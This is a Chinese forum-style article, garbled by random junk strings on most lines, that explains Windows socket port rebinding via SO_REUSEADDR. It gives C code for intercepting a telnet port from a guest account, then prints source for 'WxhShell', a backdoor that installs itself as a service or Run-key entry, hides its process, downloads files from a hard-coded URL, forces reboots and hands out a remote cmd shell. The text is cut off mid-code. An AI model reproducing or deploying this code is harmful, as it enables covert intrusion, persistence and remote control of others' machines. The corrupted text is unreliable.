在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}0hL~i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MWk:sBCqr 8$N8}q% saddr.sin_family = AF_INET;
NMO-u3<6. w
JwX[\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$Kj&)&M %b.UPS@I bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q}Z3?W
T70QJ=, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
o;"OSp *=" 8?Z 这意味着什么?意味着可以进行如下的攻击:
-u!qrJ*Z yj6@7@l>A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rI$`9d `pZs T
^G[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%wV>0gQTf ExSe=4q# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G}@#u9 j Ib 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8qi+IGRg x Ha=3n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!%<^K.wG kU5.iK' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4Q=ftY< h<l1]h+x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E{xVc;t jkAAqR R #include
!
ueN|8' #include
I[MgIr^ #include
>>[/UFC)n #include
h.rD}N\L DWORD WINAPI ClientThread(LPVOID lpParam);
$h9='0Wi0' int main()
fqz28aHh {
C`rLj5E% WORD wVersionRequested;
Oh.ZPG= DWORD ret;
>4m'tZ8 WSADATA wsaData;
-37a. BOOL val;
WE}kTq SOCKADDR_IN saddr;
Hs"(@eDV&J SOCKADDR_IN scaddr;
6TWWlU^e int err;
5 v^yQ<70 SOCKET s;
$!vxVs9n SOCKET sc;
I|oT0y& int caddsize;
31^cz*V HANDLE mt;
&WXY 'A= DWORD tid;
E9j+o y wVersionRequested = MAKEWORD( 2, 2 );
$VG*q err = WSAStartup( wVersionRequested, &wsaData );
<[aDo%,A if ( err != 0 ) {
qpoV]#iW printf("error!WSAStartup failed!\n");
Yw3oJf& return -1;
|9xI_(+{kP }
`i,_aFB| saddr.sin_family = AF_INET;
)|j[uh6wo ?B@;QjhjiJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
mN`YuR~ P47V:E% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'PZ|:9FX! saddr.sin_port = htons(23);
9DQ)cy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{",MCu_V {
2 gq$C" printf("error!socket failed!\n");
GJi~y return -1;
ivO/;)=t }
hjZ}C+=O val = TRUE;
9CGNn+~YI //SO_REUSEADDR选项就是可以实现端口重绑定的
C#rc@r,F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JE5 {
;^
wd_ printf("error!setsockopt failed!\n");
RhI;;Y#@ return -1;
psh^MX)Q }
v7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4 PLk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,:Jus //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#BVtL :x@ $aCd/& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3H\w2V {
P;ZU-G4@ ret=GetLastError();
@K223?c8l printf("error!bind failed!\n");
[$(%dV6O return -1;
h-a!q7]l }
gieN9S listen(s,2);
x} /,yaWZ while(1)
uhH^>z
KA {
Jo(`zuLJ caddsize = sizeof(scaddr);
0X8t>#uF //接受连接请求
Eh</? Qv\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'z@ 0 if(sc!=INVALID_SOCKET)
(;x3} ] {
<>eOC9;VY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<oKGD50# if(mt==NULL)
l}^3fQXI {
Kemw^48ts
printf("Thread Creat Failed!\n");
xp'_%n~K@ break;
}UJv[ }
nZ1zJpBmI }
%t=kdc0=_ CloseHandle(mt);
+i ?S }
+=Jir1SLV closesocket(s);
>%p{38 WSACleanup();
!1T\cS#1% return 0;
hDP/JN8y }
d4:`@* DWORD WINAPI ClientThread(LPVOID lpParam)
WtQ8X|\` {
4EI7W,y SOCKET ss = (SOCKET)lpParam;
%R#L SOCKET sc;
.xzEAu ; unsigned char buf[4096];
{u{@jp SOCKADDR_IN saddr;
?SQE5Z long num;
|@?%Ct DWORD val;
+cJy._pi! DWORD ret;
:a8 YV!X //如果是隐藏端口应用的话,可以在此处加一些判断
7qO a
;^T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6%`&+Lq saddr.sin_family = AF_INET;
'C$XS>S saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N- e$^pST saddr.sin_port = htons(23);
wHZW ` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@Q&3L~K" {
.M,RFC printf("error!socket failed!\n");
~"pKe~h return -1;
fy@avo9 }
Dih6mTP{ val = 100;
&*G<a3Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j.~!dh$mg {
(Q[fS:U ret = GetLastError();
G CRz<)1 return -1;
-U~ }
`.x$7!zLC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h'J|K^na {
!f>d_RG ret = GetLastError();
rrg96WD return -1;
$p!yhn7 }
}7fZ[J3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^
PI 5L {
~vLW.: printf("error!socket connect failed!\n");
dpQG[vXe closesocket(sc);
{ pu85'DV closesocket(ss);
J{ [n?/A{ return -1;
7e7 M@8+4 }
DU%w1+u while(1)
1}hIW":3Sr {
4%WzIzRb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~/NKw: //如果是嗅探内容的话,可以再此处进行内容分析和记录
ZZQG?("S' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i'd2[A.7I num = recv(ss,buf,4096,0);
KKA~#iCk if(num>0)
f~E*Zz`; send(sc,buf,num,0);
Vc^HVyAx@n else if(num==0)
$VAx:Y| break;
jR=s#Xz num = recv(sc,buf,4096,0);
>56>*BHD if(num>0)
$'W}aER send(ss,buf,num,0);
&aM7T_h8 else if(num==0)
ly% F."v break;
ob+euCuJ }
Q
4CjA3 closesocket(ss);
-(#I3h;I closesocket(sc);
EM>}0V return 0 ;
%h1N3\y9i( }
y(R?
,wa=] YV=QF
J' 2|\A7. ==========================================================
ld$i+6| Y_`- 9'& 下边附上一个代码,,WXhSHELL
<Q|d&vDVfV aA7=q= ==========================================================
R.7 :3h [m^+,%m5] #include "stdafx.h"
XC{eX&,2x \~P=U;l=pO #include <stdio.h>
(}. @b|s #include <string.h>
Y*_)h\f #include <windows.h>
<2C7<7{7 #include <winsock2.h>
f7Ul(D:j\ #include <winsvc.h>
q&C""!h^ #include <urlmon.h>
!4] 9!<.k kyR*D1N&) #pragma comment (lib, "Ws2_32.lib")
S"9zc
,] #pragma comment (lib, "urlmon.lib")
"#mBcQ;QLV S9HwIH\m #define MAX_USER 100 // 最大客户端连接数
kd"N29 #define BUF_SOCK 200 // sock buffer
a^ ,(v #define KEY_BUFF 255 // 输入 buffer
G0E121`h ,C3,TkA] #define REBOOT 0 // 重启
}kg ye2[ #define SHUTDOWN 1 // 关机
u!1{Vt87 4k./(f2+ #define DEF_PORT 5000 // 监听端口
RN=` -*E1 U%0Ty|$Y #define REG_LEN 16 // 注册表键长度
gGfoO[B #define SVC_LEN 80 // NT服务名长度
8Sz})UZ Z{?G.L*/ // 从dll定义API
s3Cc;# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Jk,;JQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
= k\J< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:qC'$dO! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y^<bl2"y8 +{sqcr1G // wxhshell配置信息
s/089jlc struct WSCFG {
<\?wAjc, int ws_port; // 监听端口
h gJ[LU| > char ws_passstr[REG_LEN]; // 口令
|>@W
]CX[ int ws_autoins; // 安装标记, 1=yes 0=no
G[jW<'f char ws_regname[REG_LEN]; // 注册表键名
iQ{G(^sZN char ws_svcname[REG_LEN]; // 服务名
_X?^Cy char ws_svcdisp[SVC_LEN]; // 服务显示名
ctcS:<r/3@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
V|\7')Qq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F;^F+H int ws_downexe; // 下载执行标记, 1=yes 0=no
e%W$*f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yCCrK@{oo char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r(gXoq_w F5S@I; };
4&l10fR5 uwlr9nB // default Wxhshell configuration
iiK]l struct WSCFG wscfg={DEF_PORT,
Sna4wkbS "xuhuanlingzhe",
Haqm^Ky$ 1,
>:lnt /N3 "Wxhshell",
hB{jUP)"; "Wxhshell",
^pHq66d%Z "WxhShell Service",
},|M9I0 "Wrsky Windows CmdShell Service",
H#ClIh?'b "Please Input Your Password: ",
L5MzLE&~ 1,
T0]MuIJ). "
http://www.wrsky.com/wxhshell.exe",
_V`DWR
* "Wxhshell.exe"
JU&+c6> };
](|\whI ID/F // 消息定义模块
HV<Lf
6gE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#c2ymQm char *msg_ws_prompt="\n\r? for help\n\r#>";
4`,j =3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Agrk|wPK char *msg_ws_ext="\n\rExit.";
Z1"v}g char *msg_ws_end="\n\rQuit.";
X.:]=,aGW char *msg_ws_boot="\n\rReboot...";
2;w*oop,O char *msg_ws_poff="\n\rShutdown...";
5h; +Ky!I char *msg_ws_down="\n\rSave to ";
~Jf{4*>y zXRlo] char *msg_ws_err="\n\rErr!";
/hO1QT}xd char *msg_ws_ok="\n\rOK!";
orb_"Qw O$cHZs$ char ExeFile[MAX_PATH];
~K@'+5Pc int nUser = 0;
2WG>, 4W2 HANDLE handles[MAX_USER];
y|wc,n%L> int OsIsNt;
?,/U^rf^4 z?35=%~w SERVICE_STATUS serviceStatus;
(y^vqMz SERVICE_STATUS_HANDLE hServiceStatusHandle;
1) Zf3Y8 n?V+dC=F} // 函数声明
-lv)tHs< int Install(void);
K$d$m < int Uninstall(void);
1@$Ko5 int DownloadFile(char *sURL, SOCKET wsh);
tsk)zP,< int Boot(int flag);
!F?XLekTi void HideProc(void);
}\C-}
Q int GetOsVer(void);
&\_iOw8 int Wxhshell(SOCKET wsl);
9?k_y ZV void TalkWithClient(void *cs);
uG<}N= int CmdShell(SOCKET sock);
Vx-7\NB int StartFromService(void);
=G]@+e int StartWxhshell(LPSTR lpCmdLine);
Dih3}X&jn$ 0bo/XUpi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}}<z/zN&^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
c/uNM ,~._}E&9I // 数据结构和表定义
%; D.vKoh SERVICE_TABLE_ENTRY DispatchTable[] =
xMBaVlEN {
-
|gmQG {wscfg.ws_svcname, NTServiceMain},
Ps<d('= {NULL, NULL}
B/n[m@O };
V dn&c p'om- // 自我安装
+zs4a96[ int Install(void)
.aflsUD {
z<5m
fAm char svExeFile[MAX_PATH];
=Qn ;_+Ct HKEY key;
*oybD=%4 strcpy(svExeFile,ExeFile);
Qa.uMq (P`3 @H // 如果是win9x系统,修改注册表设为自启动
+U@<\kIF if(!OsIsNt) {
#BSTlz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D|.ic!w' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
twx[s$O'b RegCloseKey(key);
e#k<d-sf6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dh $bfAb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XO'l Nb. RegCloseKey(key);
.rf"
(lM return 0;
\7*`}& }
e zOj+vz }
@K!&qw }
!Ta>U^7 else {
1</kTm/Qa <wAFy>7 // 如果是NT以上系统,安装为系统服务
QNl'ZB\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z0do;_x]E if (schSCManager!=0)
m1*O0Tg]" {
)Dz+X9;g+ SC_HANDLE schService = CreateService
'{B!6|"X (
b3VS\[p schSCManager,
-!
K-Htb- wscfg.ws_svcname,
uAWM\? wscfg.ws_svcdisp,
=xS+5( SERVICE_ALL_ACCESS,
hh[jN7K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LupkrxV SERVICE_AUTO_START,
:Q@&5!]>d SERVICE_ERROR_NORMAL,
+k>.Q0n%m svExeFile,
b4pm_Um NULL,
=ha{Ziryo NULL,
&:7ZQ1 NULL,
L/z),# NULL,
+U3m#Y )k NULL
.e3+s* );
i _%Q`i if (schService!=0)
s@7H1)U {
)sT> i CloseServiceHandle(schService);
/7YF mI/0 CloseServiceHandle(schSCManager);
YSe.t_K2C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;"m ,:5% strcat(svExeFile,wscfg.ws_svcname);
Xp}Yw"7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)=etG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~appY Av RegCloseKey(key);
/QJ?bD#a return 0;
~B(6+~%
}
f^.AD- }
EEW_gFn CloseServiceHandle(schSCManager);
Alxx[l\<J }
eD#hpl }
2TA*m{\Hr (!zy{;g| return 1;
NW&b&o }
IOV(seEY ]S5JUAGkE* // 自我卸载
y?q*WUh
int Uninstall(void)
$81*^ {
}:~x7|~s: HKEY key;
}_68j8` ~Onoe $A[< if(!OsIsNt) {
z'EajBB\f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,1"KHv RegDeleteValue(key,wscfg.ws_regname);
_"w2U q RegCloseKey(key);
"l*`>5Nn9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`kJ^zw+ RegDeleteValue(key,wscfg.ws_regname);
`{xNXH]@ RegCloseKey(key);
+o51x'Ld* return 0;
uF3qD|I\ }
t0T"@t#c }
@$+ecaVW }
qhz]Wm P else {
Z LD}a:s smDw<slC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u5%7}<nNi if (schSCManager!=0)
5EfS^MRf\n {
q+vx_4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I=NZokfS if (schService!=0)
xcf%KXJf6 {
Bb"Bg\le,^ if(DeleteService(schService)!=0) {
[ra_ 2R CloseServiceHandle(schService);
#*(td<Cp CloseServiceHandle(schSCManager);
5EebPXBzB return 0;
^:Gie }
WpRc)g: CloseServiceHandle(schService);
?28N ^ }
r|qp3x CloseServiceHandle(schSCManager);
*^wm1|5 }
[Yc G(^^ }
McQe1 d$Pab* return 1;
2FW\O0U }
oczN5YSt C-H@8p?T // 从指定url下载文件
`u&Zrdr, int DownloadFile(char *sURL, SOCKET wsh)
gjAIEI {
ixT:)|'i HRESULT hr;
)}?# char seps[]= "/";
A?pbWt~} char *token;
g #6E|n char *file;
fk x \= char myURL[MAX_PATH];
HI11Jl}{ char myFILE[MAX_PATH];
=^5Alba/ KW^7H strcpy(myURL,sURL);
y;o^- O token=strtok(myURL,seps);
9AJ7h9L while(token!=NULL)
XnWr5-; {
N/K.%<h file=token;
9B7^lR token=strtok(NULL,seps);
SV~~Q_U9 }
PJL=$gBgKk
S :<Nc{C GetCurrentDirectory(MAX_PATH,myFILE);
Gnq?"</ strcat(myFILE, "\\");
}=]M2} strcat(myFILE, file);
3S}Pm2D2 send(wsh,myFILE,strlen(myFILE),0);
?pB>0b~3- send(wsh,"...",3,0);
[6XF=L,! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
fV'ZsJ N if(hr==S_OK)
L|}lccpI return 0;
\hEN4V[ else
o_^?n[4 return 1;
`I,,C,{C Ot6aRk }
pv Gf\pu +y3%3EKs1~ // 系统电源模块
aN8|J?JH int Boot(int flag)
%YC_Se7 {
1BpiV-]=
HANDLE hToken;
hj.a&% TOKEN_PRIVILEGES tkp;
bKN@j'M <yH4HY if(OsIsNt) {
J.xPv)1' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*=I}Qh(1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#/<&*Pu5t tkp.PrivilegeCount = 1;
U5.LDv; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/q`xCS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V13N}] if(flag==REBOOT) {
70Wgg ty if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?1K#dC52# return 0;
vbC\?\_ }
W1|0Yd ;P else {
K#=*9S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
EH!
q=&d return 0;
< F.hZGss7 }
`yH<E+ }
j+uLV{~g6 else {
f m)pulz if(flag==REBOOT) {
'g
m0) r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A"G
1^8wvX return 0;
^Uf]Q$uCjE }
.@@?Pj?) else {
K)DDk9* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j;-1J_e5 return 0;
? -dX`n }
;E3>ay6m8 }
<?riU\-]y ='s(| return 1;
F.=2u"[*& }
G?;e-OhV f-`)^5E // win9x进程隐藏模块
6MT1$7|P&x void HideProc(void)
Z:sg} {
YH\OFg@7 :?g:~+hfO HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$',K7%y if ( hKernel != NULL )
z4jR[x, {
lrIS{MJ+- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&)AVzN+*h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j)/nKh4O FreeLibrary(hKernel);
lcih
[M6z }
r+>9O ,L`qV return;
r/PsFv{8 }
3#dUQ1qo6 j,Mp["X& // 获取操作系统版本
7IHWj< int GetOsVer(void)
!
$n^Ze2 ! {
h~dM*yo; OSVERSIONINFO winfo;
-WEiY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7"M7N^ GetVersionEx(&winfo);
,TL~];J' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}(gXlF return 1;
$
\jly else
&98qAO]Z return 0;
5e/%Tue. }
y:1?~R qoOHWh& // 客户端句柄模块
VGTo$RH int Wxhshell(SOCKET wsl)
v%_sCg {
sH6srwI SOCKET wsh;
e7<~[>g) struct sockaddr_in client;
}V`Fz',lZ DWORD myID;
Q&wBX%@^L S!rUdxO while(nUser<MAX_USER)
7/Ew(X8Fs {
CvlAn7r,@ int nSize=sizeof(client);
tr):n@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
csYIC Lj if(wsh==INVALID_SOCKET) return 1;
kD2MqR> fz<Y9h= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_oR6^#5# if(handles[nUser]==0)
5o&L|7] closesocket(wsh);
S&|$F2M else
IN_GL18^MV nUser++;
#E>f.:) }
|i1z47jN6P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UUX
_x?BD s*rtm return 0;
DT_012z }
x!S8' 10*U2FY)] // 关闭 socket
Rnj2Q!C2 void CloseIt(SOCKET wsh)
6Bs_"
P[ {
GMksr%0Pj closesocket(wsh);
1w?X~VZAX nUser--;
ZSxKk6n}J ExitThread(0);
WC}mt%H*O }
n_iq85 x}72jJe` // 客户端请求句柄
t,+p!"MRY void TalkWithClient(void *cs)
NH4EsV] {
J\#6U|a""u l@##
Ex9 SOCKET wsh=(SOCKET)cs;
nLYyS# char pwd[SVC_LEN];
=n%?oLg^ char cmd[KEY_BUFF];
^]OD+ v char chr[1];
]kc]YO7i%R int i,j;
P%.9 g z.#gpTXD while (nUser < MAX_USER) {
D4_D{\xhO +BmA4/P$ if(wscfg.ws_passstr) {
df}B:?Ew. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fyT! / //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IiSO{ //ZeroMemory(pwd,KEY_BUFF);
3vDV
i=0;
;9d(GP}eE while(i<SVC_LEN) {
V.;0F%zks5 N\mV+f3A@, // 设置超时
k?1cxY s fd_set FdRead;
}i?P(
Au struct timeval TimeOut;
JWM/np6 FD_ZERO(&FdRead);
8&H1w9NrX_ FD_SET(wsh,&FdRead);
Xig%Q~oMp TimeOut.tv_sec=8;
>KC*xa" TimeOut.tv_usec=0;
dA)7d77 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*F2ob pU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Z$Qlr:7 #kk_iS>8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Nqz-Mr` pwd
=chr[0]; 3)I v8mA
if(chr[0]==0xd || chr[0]==0xa) { 2L ~U^
pwd=0; lYU_uFOs\
break; RQv`D&u_
} ykM(`
1`m
i++; W>'R<IY4#N
} L2AZ0E"ub
-x5^>+Y4
// 如果是非法用户,关闭 socket o"K{^ L~u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @~/LsYA:
} 1,BtOzuRo
QZ%_hvY[%>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5h1FvJg
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o{m$b2BW
2i8'*L+j
while(1) { Eo)n(
Z9
u]CW5snz
ZeroMemory(cmd,KEY_BUFF); hNSV}~h
sLb[ZQ;j
// 自动支持客户端 telnet标准 H#G'q_uHH
j=0; PJ9JRG7j
while(j<KEY_BUFF) { YgrBIul
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '^}l|(
cmd[j]=chr[0]; Ch^Al2)=
if(chr[0]==0xa || chr[0]==0xd) { G,$RsP
cmd[j]=0; N!^U{;X7/
break; TC"mP!1
} ?5"~V^L3
j++; F6YMcdU
} sm/l'e
;%hlh)k$
// 下载文件 MvJEX8M
if(strstr(cmd,"http://")) { X2T)]`@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5>"-lB &
if(DownloadFile(cmd,wsh)) Mt<TEr}7Z=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 592q`m\
else f GY. +W_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`0heJ
5Yn
} qzsS"=5
else { pOpie5)7X
v6TH-
switch(cmd[0]) { $ v$~.
E.4`aJ@>d
// 帮助 Q_qc_IcM y
case '?': { mp%i(Y"vp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
jats)!:
break; 9Jaek_A`
} X{<j%PdC
// 安装 OV Iu&6#
case 'i': { p7Gs
if(Install()) 5(tOQ%AQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IgQW 5E#
else !$f@j6.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f
\[Z`D
break; qP *$wKY,
} bY&s$Ry3"
// 卸载 #*1\h=bzmW
case 'r': { i{
eDV
if(Uninstall()) dGTAZ(1W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7[ *,t
else \P+lb-~\"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq< Vk.Nk
break; SPn0D9b]
} g_5:o
3s
// 显示 wxhshell 所在路径 /DJyNf*
case 'p': { N@)tU;U3O
char svExeFile[MAX_PATH]; zf4@:GM`
strcpy(svExeFile,"\n\r"); `4gm'C
strcat(svExeFile,ExeFile); }`\+_@w
send(wsh,svExeFile,strlen(svExeFile),0); gNo.&G [
break; ~;3N'o
} LezM=om.
// 重启 BoHMz/DB
case 'b': { TCv}N0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }q)oLC
if(Boot(REBOOT)) a$l/N{<.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J}nE,U2
else { uJ {N?
closesocket(wsh); V2V^*9(wu@
ExitThread(0); XW%!#S&;X
} Cj31'
break; Y_xPr%%A
} GadQ \>
// 关机 4-lEo{IIM
case 'd': { d {T3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;sS N
if(Boot(SHUTDOWN)) YJ_LD6PL9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )CSb\
else { Lg
sQz(-
closesocket(wsh); }pTy mAN
ExitThread(0); *U)!9DvA
} h7wm xa;
break; v;80RjPy>
} 5NZob<<
// 获取shell 0Zs}y\J`
case 's': { BI3Q~ADV
CmdShell(wsh); uF+if`?
closesocket(wsh); )?:V5UO\
ExitThread(0); 7eqax33f
break; (B}+uI{
} r~si:?6:
// 退出 Q+U}
case 'x': { %mAgE\y25
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l+*^P'0u
CloseIt(wsh); .u>IjK^
break;
pBG(%3PpW
} ?
!MDg_oHd
// 离开 Sdy\s5
case 'q': { +3(1QgYM%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I?.$
closesocket(wsh); 7xb z)FI
WSACleanup(); qHt!)j9GKv
exit(1); :CNHN2 J
break; a<B[~J 4i
} X@*$3z#Z
} 5P,{h
} l(-6pP5`
k+f!)7_
// 提示信息 >t<FG2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8v+eyn
} IX7<
} QU2\gAM
np}F [v
return; T9osueh4
} !=;^Grv>
KDhr.P.~
// shell模块句柄 w*Vf{[a'
int CmdShell(SOCKET sock) uHkL$}C
{ s/ibj@h
STARTUPINFO si; ;\DXRKR
ZeroMemory(&si,sizeof(si)); + G#qS1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (f,D$mX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Y,_
DU
PROCESS_INFORMATION ProcessInfo; 7?:7}xb-
char cmdline[]="cmd"; iov55jT~l@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6kK\nZ$o$
return 0; (30{:o&^
} ;;pxI5
c^S^"M|
// 自身启动模式 9[N+x2q
int StartFromService(void) lX/6u
E_%
{ dq%7A=-
typedef struct ZRf-V9
{ -o#HO_9
DWORD ExitStatus; $?YRy_SI
DWORD PebBaseAddress; <03 @c s
DWORD AffinityMask; ?g+0S@{i $
DWORD BasePriority; *y9 iuJ}
